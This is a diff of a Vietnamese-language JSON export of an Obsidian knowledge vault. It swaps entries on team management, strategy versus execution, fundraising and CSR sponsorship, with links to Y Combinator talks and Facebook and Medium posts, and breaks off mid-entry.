YouTube](https://youtu.be/0LNQxT9LvM0?si=t0Na8uT-tMSYXUa4&t=1201)\n\n[[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Định luật Hofstadter: Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]]\n[[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LT" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T07:09:00.000Z", + "id": "Lh" }, { - "Tiêu đề": "Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn", + "Tiêu đề": "Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhưng điều đó khiến họ cảm thấy mình không làm tốt trong việc cập nhật thông tin\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "Lúc đó không nói là khi nào mình đạt được điều này, mà chỉ có thể nói khi mình đạt được điều này\n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=AJXAAiTNhgRarGTh&t=3068)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LU" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T01:55:00.000Z", + "id": "Li" }, { - "Tiêu đề": "Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo", + "Tiêu đề": "Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong khi tư duy cần dùng cho mỗi loại công việc này là khác nhau\n[[Công việc khai phá và công việc khai thác]]\n\n---\nNGHĨ VỀ CHIẾN LƯỢC VÀ THỰC THI \n \nSau nhiều năm đi làm, mình ngày càng cảm nhận rõ thế nào là \"Chiến lược\", thế nào là \"Thực thi\". Đột nhiên muốn viết ra 1 vài suy nghĩ của bản thân về chủ đề này. \n \nNói đến định nghĩa, kể cả đến khi 25,26 tuổi, mình vẫn không thực sự phân biệt được đâu là chiến lược, đâu là thực thi. Thường xuyên đóng vai trò chịu trách nhiệm cao nhất trong các dự án hay tổ chức, việc lên kế hoạch và triển khai với mình trở thành công việc hàng ngày, công việc nào cũng cần tính toán, phân tích, ra quyết định, làm việc với nhiều bên liên quan để thuyết phục, trình bày v.v \n \nMãi sau này, đến khi đi làm cho các doanh nghiệp lớn hơn, và bây giờ là tư vấn chiến lược và chuyển đổi số cho các doanh nghiệp khác nhau, mình mới cảm nhận rõ sự khác biệt giữa hai yếu tố này. \n \nCHIẾN LƯỢC QUAN TRỌNG HƠN HAY THỰC THI QUAN TRỌNG HƠN? \n \nĐiều này giống như hỏi là khi bạn rơi xuống nước: kỹ thuật bơi quan trọng hay thể lực quan trọng? Điều này phụ thuộc vào bạn rơi xuống bể bơi trong nhà hay rơi giữa biển đầy sóng gió. \n \nDoanh nghiệp càng lớn, càng cần cân bằng giữa hai yếu tố. Doanh nghiệp nhỏ, chiến lược tốt hoặc thực thi tốt có thể bù đắp cho phần còn lại. \n \nĐÒI HỎI NHỮNG KỸ NĂNG KHÁC BIỆT ĐỂ LÀM TỐT - VÀ CÓ LẼ LÀ CON NGƯỜI KHÁC BIỆT \n \nLãnh đạo là một vị trí rất khó, mất nhiều năm mình mới cảm nhận được rõ rệt điều này. Và kể từ đó, mình tập trung làm việc trong nhóm nhỏ, hoặc vai trò solo. Công việc cuối cùng đòi hỏi quản trị 1 nhóm trên 10 người của mình là ở MoMo, 18 tháng trước. \n \nCHIẾN LƯỢC \nThiết kế chiến lược đòi hỏi bạn phải biết cách xác định các loại thông tin cần thiết, sàng lọc thông tin, tìm ra các insight hữu dụng. Nó đòi hỏi bạn phải có hiểu biết về các framework, thinking model và sử dụng chúng 1 cách linh hoạt. Nó đòi hỏi bạn phải cân bằng giữa các dữ liệu thực tế, hiểu biết cá nhân, kinh nghiệm quá khứ lẫn các suy đoán tương lai. \nMột chiến lược tốt đòi hỏi khả năng phân tích, logic, xử lý đa biến, khả năng sáng tạo. Như kiểu chơi trò xếp hình vậy, bạn cần nhìn thấy mối liên hệ giữa hàng nghìn mảnh ghép lộn xộn. \n \nTHỰC THI \nThực thi lại đòi hỏi cân bằng giữa kỷ luật và sự linh hoạt. Bạn cần có khả năng quản lý thời gian, quản lý con người, quản lý các nguồn lực. Bạn cần hiểu bản chất của chiến lược, và đưa ra các quyết định cụ thể mỗi ngày, mỗi giờ, tùy vào tình hình thực tế. \n \nChiến lược sẽ không nói cho bạn biết hôm nay có bao nhiêu việc, phải làm chúng trong bao lâu, và đối xử ra sao nếu 1 thành viên trong nhóm trả lại kết quả không như ý. Chiến lược không nói cho bạn biết phải làm sao nếu nhân sự bạn cần đã không được tuyển kịp thời, và làm thế nào nếu có 1 đối tác \"lật kèo\". \n \n............ \n \nPhái DOer thường hay chê phái THINKer là \"Lý thuyết suông\", \"Chỉ nói là giỏi, làm thì như C*t\" \nPhải THINKer thường hay chê ngược lại là đội DOer là \"thiếu logic\" \"thiếu cơ sở\" \"không khoa học\" \"không nhất quán\" \n \n........... \nTốt đẹp nhất là những người có năng lực làm cả 2 việc, thứ nhì là có sự ăn ý giữa người \"chiến lược\" và người \"thực thi\". Ngược lại, khi người giỏi cái này buộc phải làm cái kia, danh tiếng người đó thường tổn hại, doanh nghiệp cũng thiệt hại. \n \nTiếc là nhiều người vạch chiến lược hay, nên mọi người cũng nghĩ là họ làm tốt, nên giao họ triển khai luôn. \nHoặc là, nhiều người làm chuyên môn tốt, thế là được đề bạt lên làm quản lý, lãnh đạo.\n\nNguồn:: [[Hoàng Đức Minh]], [NGHĨ VỀ CHIẾN LƯỢC VÀ THỰC THI](https://www.facebook.com/minh5e/posts/pfbid0tC3p2ECjrEcEp11mV2p1AHpFQD5NCKqaDG64vreBxUwDpfjGNNcc4pX1hD3KamXal)\n\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=0vfYRK-e8NwRu1kd&t=375)\n\nDù đi kiếm tiền thì cũng thách thức thật, và [[Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn]], nhưng [[Những thứ khẩn cấp thường không phải là những thứ thú vị|trong trường hợp này nó lại không thú vị]]\n\n[[Có những cái ta cần làm trước khi ta thấy cần làm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-26T16:44:00.000Z", - "id": "LV" + "Ngày cập nhật": "2023-12-02T03:15:00.000Z", + "id": "Lj" }, { - "Tiêu đề": "Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu", + "Tiêu đề": "Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nAction bias: người \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nBạn cần phải thể hiện là mình mạnh mẽ, có thể biến ý tưởng thành thực tế. Câu chuyện cần phải:\n- Hấp dẫn\n- Đáng tin\n- Cộng hưởng\n- Cho thấy viễn cảnh tương lai\n- Đáng nhớ\n\n[[Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn]] \nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=nSU984CVjvdQctzN&t=479)\n\n[[Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-26T16:45:00.000Z", - "id": "LW" + "Ngày tạo": "2023-11-27T15:38:00.000Z", + "Ngày cập nhật": "2023-12-06T12:54:00.000Z", + "id": "Lk" }, { - "Tiêu đề": "Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm", + "Tiêu đề": "Quỹ, gọi vốn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Bùi Quang Tinh Tú]], [Random note 1. Vị trí của càng cao... - Bui Quang Tinh Tu | Facebook](https://www.facebook.com/buiquangtinhtu/posts/pfbid02JPbKA3KJijQGdhZMijz4iyTjTM1ZXqEefpCAXjdBztL6hiw1xTKujnfRQUPqUPzjl)", + "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]], [[Gây quỹ]]\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Gây Quỹ Cho Hoạt Động Phát Triển Từ Năng Lực Đến Niềm Tin — Viện iSEE](https://www.isee.org.vn/thu-vien/c8zk30ydi7y5ngxc99maqtpg3817r6-6d2cz)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-26T16:44:00.000Z", - "id": "LX" + "Ngày tạo": "2023-12-19T10:41:00.000Z", + "Ngày cập nhật": "2024-07-29T07:12:00.000Z", + "id": "Ll" }, { - "Tiêu đề": "Sociocracy", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Sociocracy", + "Tiêu đề": "Trước khi gây quỹ cần biết mục tiêu của mình là gì", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Trước khi gây quỹ cần biết mục tiêu của mình là gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Sociocracy 3.0 | Effective Collaboration At Any Scale](https://sociocracy30.org/)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T11:11:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LY" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-26T14:59:00.000Z", + "id": "Lm" }, { - "Tiêu đề": "Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý", + "Tiêu đề": "Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR/Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Thảo luận]]\n\nNguồn:: ![\"The Hard Parts of Open Source\" by Evan Czaplicki - YouTube](https://youtu.be/o_4EX4dPppA?si=Fv7DjInT7O_msWfz&t=668)\n\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]] \nMâu thuẫn với:: [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]", + "Toàn bộ nội dung": "Hầu hết các đại diện doanh nghiệp được tôi hỏi đều trả lời rằng họ “chưa bao giờ hài lòng”. Câu trả lời này lặp lại và ám ảnh tôi mãi.\n\nThật đau xót khi thừa nhận rằng: điều khiến những chiến dịch CSR thất bại, là vì chúng được thiết kế để tạo ra một cái cớ cho PR. Khi doanh nghiệp cần một “chất liệu truyền thông” để tô màu cho lời hứa của chính mình.\n\nNhững người gây quỹ từ nhóm phi lợi nhuận có góp phần tạo nên sự thất bại của chúng không? Tôi nghĩ là có. Khi chúng ta đã ngại nói không. Chúng ta ngại nói không khi tôn trọng ranh giới nguyện vọng của doanh nghiệp khi yêu cầu trình bày quyền lợi truyền thông. Chúng ta ngại nói không để có thể nhận được khoản tài trợ — thứ sẽ góp phần giúp chúng ta thực hiện được dự án. Chúng ta ngại nói không vì sợ mất đi cơ hội hợp tác trong tương lai.\n\nTừ vị thế đó, chúng ta chiều lòng những “nhà tài trợ” mà quên mất rằng, họ cũng không đạt được đến sự “hài lòng” khi thực hiện một phi vụ “không trong sáng” đến vậy.\n\n# Vàng, Bạc, Đồng, Kim Cương…\n\nChúng ta, những người gây quỹ, hẳn đã có lần ngồi kẻ một cái bảng phân quyền lợi tài trợ. Nhà tài trợ từ X đồng trở lên sẽ là nhà tài trợ Kim Cương, logo phải ở loại lớn nhất, ở vị trí trung tâm trong mọi thiết kế, nào là phải được nhắc đến bao nhiêu lần, được phát biểu bao nhiêu phút, và đặt bao nhiêu ấn phẩm quảng cáo ở sảnh chờ, bao nhiêu bài báo được đăng… Những nhà tài trợ nhỏ hơn ư? Bạn vẫn còn cơ hội ở vị trí Vàng, hoặc Bạc, hoặc cùng lắm là Đồng. Đóng góp to nhỏ của bạn cũng được phân cấp bằng độ lớn của logo, và có thể bạn sẽ không được phát biểu hay nhận kỉ niệm chương mà chỉ được tặng hoa.\n\nNhững thứ này chẳng đi đến đâu. Rồi bạn sẽ gặp một nhà tài trợ lửng lơ giữa những mức tài trợ. Rồi bạn sẽ gặp cảnh nhà tài trợ kì kèo kích cỡ vị trí logo. Những điều này có nghĩa gì, khi trọng tâm của những cuộc thảo luận này đáng ra chỉ nên xoay quanh chuyện “khoản tài trợ phải đến với đối tượng hưởng lợi như thế nào” hay sao?\n\nNhà tài trợ thất vọng. Vì họ mải chạy theo checklist những quyền lợi truyền thông hão huyền mà chúng ta liệt kê. Thay vì nhìn vào tác động dự án, họ sẽ nhìn vào số lượng bài đăng. Thay vì thúc đẩy tiến độ triển khai dự án, họ sẽ thúc đẩy tiến độ… đăng báo.\n\n# Vì sao chúng ta hướng tới những điều tốt đẹp, nhưng đều không hạnh phúc như nhau?\n\n# Đến lúc cần thay đổi một chút, đúng không? Và cần thêm một chút dũng cảm.\n\nNếu bạn cùng cảm nhận được những cơn nhói trong lồng ngực khi đọc ba đoạn văn trên, tôi challenge bạn:\n\n## **Loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ.**\n\nHãy thay thế chúng bằng một trang trình bày về tác động của dự án. Sát sườn. Số liệu rõ ràng. Hãy nói về điều mà những người hưởng lợi sẽ nhận được. Hãy nói về cách mà khoản tiền tài trợ góp phần tạo nên một xã hội tốt đẹp hơn.\n\nHãy nói về truyền thông ở góc độ “công bố”. Chúng ta không thể hứa số bài đăng facebook, số người like, share hay comment. Chúng ta cũng không thể hứa số lượng bài báo được đăng. Hãy hứa sẽ công bố hợp tác hai bên trên những trang truyền thông mà bạn có. Điều này không phải để làm đẹp bất cứ một thương hiệu nào. Mà là để công chúng có một thông báo chính thức về hợp tác của bạn và doanh nghiệp, từ đó họ có thể quyết định cùng tham gia hay không.\n\nHãy để lại nhiệm vụ truyền thông cho nhà tài trợ. Quyền được PR là quyền của nhà tài trợ. Hãy để họ làm ở 100% năng lực và nguồn lực của riêng họ. Hãy tin tôi, tất cả những PR specialists ngồi trong phòng đều sẽ thở phào. Họ sẽ được chủ động xử lý tư liệu truyền thông theo chiến lược của riêng họ. Họ sẽ toàn quyền xử lý PR angle để hợp với Branding strategy. Họ sẽ được chủ động quản lý tiến độ truyền thông và chất lượng truyền thông. Bạn quay về làm điều mà bạn giỏi nhất: mang lại chính xác giá trị tốt đẹp bằng chuyên môn của mình, dành toàn bộ khoản tiền gây quỹ được để thực hiện các hoạt động cho cộng đồng người hưởng lợi.\n\nLàm tốt việc của mình, biết kẻ ra giới hạn, biết đặt đúng các vai trò vào đúng nơi đúng chỗ, tận dụng nguồn lực của đối tác và tôi tin bạn và đối tác của mình sẽ có những chiến dịch CSR mang lại hạnh phúc cho tất cả những bên liên quan: bạn, đối tác của bạn, và cả những người hưởng lợi nữa.\n\nNguồn:: Hà Lemmy, [Chiến dịch CSR hài lòng nhất?](https://halemmy.medium.com/chiến-dịch-csr-hài-lòng-nhất-ef0501337970)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "LZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-10T14:41:00.000Z", + "id": "Ln" }, { - "Tiêu đề": "Việc có quá nhiều ý kiến làm ta thấy loạn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Việc có quá nhiều ý kiến làm ta thấy loạn", + "Tiêu đề": "Tài trợ từ doanh nghiệp, CSR", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\nNhững người trợ giúp sẽ thấy mình thật rắc rối \r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"Tài trợ từ doanh nghiệp, CSR\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n[Hợp tác & Gây quỹ từ khối tư nhân — Viện iSEE](https://www.isee.org.vn/thu-vien/c8zk30ydi7y5ngxc99maqtpg3817r6-6kahw)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-14T06:35:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "La" + "Ngày tạo": "2023-12-19T10:41:00.000Z", + "Ngày cập nhật": "2023-12-19T10:41:00.000Z", + "id": "Lo" }, { - "Tiêu đề": "Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Đa số những lúc cần phải ra quyết định thì đều có nhiều áp lực", + "Tiêu đề": "Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR/Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n\nKhông có thời gian viết ngắn được", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Phạm Trường Sơn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lb" + "Ngày cập nhật": "2023-12-10T14:40:00.000Z", + "id": "Lp" }, { - "Tiêu đề": "Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò", + "Tiêu đề": "Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n[[Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]]\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=t0Na8uT-tMSYXUa4&t=1201)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-08T06:11:00.000Z", - "id": "Lc" + "Ngày cập nhật": "2023-11-27T06:45:00.000Z", + "id": "Lq" }, { - "Tiêu đề": "Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc", + "Tiêu đề": "30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Xin quỹ nghiên cứu/30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò]] \nNguồn:: ", + "Toàn bộ nội dung": "[Fund people not projects | Nature](https://www.nature.com/articles/477529a \"Fund people not projects | Nature\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-08T06:11:00.000Z", - "id": "Ld" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-13T06:06:00.000Z", + "id": "Lr" }, { - "Tiêu đề": "Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Tìm được người cùng muốn làm chung với mình và đủ rảnh là rất khó", + "Tiêu đề": "Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Xin quỹ nghiên cứu/Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người ta vẫn nói muốn đi xa thì đi cùng nhau. Nhưng ai sẽ là người muốn đi cùng mình? Mà kể cả muốn đi rồi thì ai sẽ đủ rảnh để đi, khi mà mình không có nhiều tiền?\n[[Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại]]", + "Toàn bộ nội dung": "https://andymatuschak.org/2022/ \n\n[[30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-25T10:40:00.000Z", - "Ngày cập nhật": "2023-12-14T06:02:00.000Z", - "id": "Le" + "Ngày tạo": "2023-06-07T11:30:00.000Z", + "Ngày cập nhật": "2023-11-28T03:54:00.000Z", + "id": "Ls" }, { - "Tiêu đề": "Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tìm người làm/Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn", + "Tiêu đề": "Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai]]\n\nNguồn:: [[Y Combinator]], ![Lecture 2 - Team and Execution (Sam Altman) - YouTube](https://youtu.be/CVfnkM44Urs?si=5Rvq99gMgEKSKcnO)", + "Toàn bộ nội dung": "Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay. Biến một thứ một số người cần thành một thứ nhiều người cần dễ hơn là biến một thứ nhiều người thích thành một thứ nhiều người cần.\n\nGiống như là ta chỉ có thể tạo ra một lượng hứng thú cố định. Câu hỏi là ta sẽ chia nó ra cho bao nhiêu người?\n\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]] \nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=goJZ_SaMrzyTUcpj&t=1002)\n\n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà 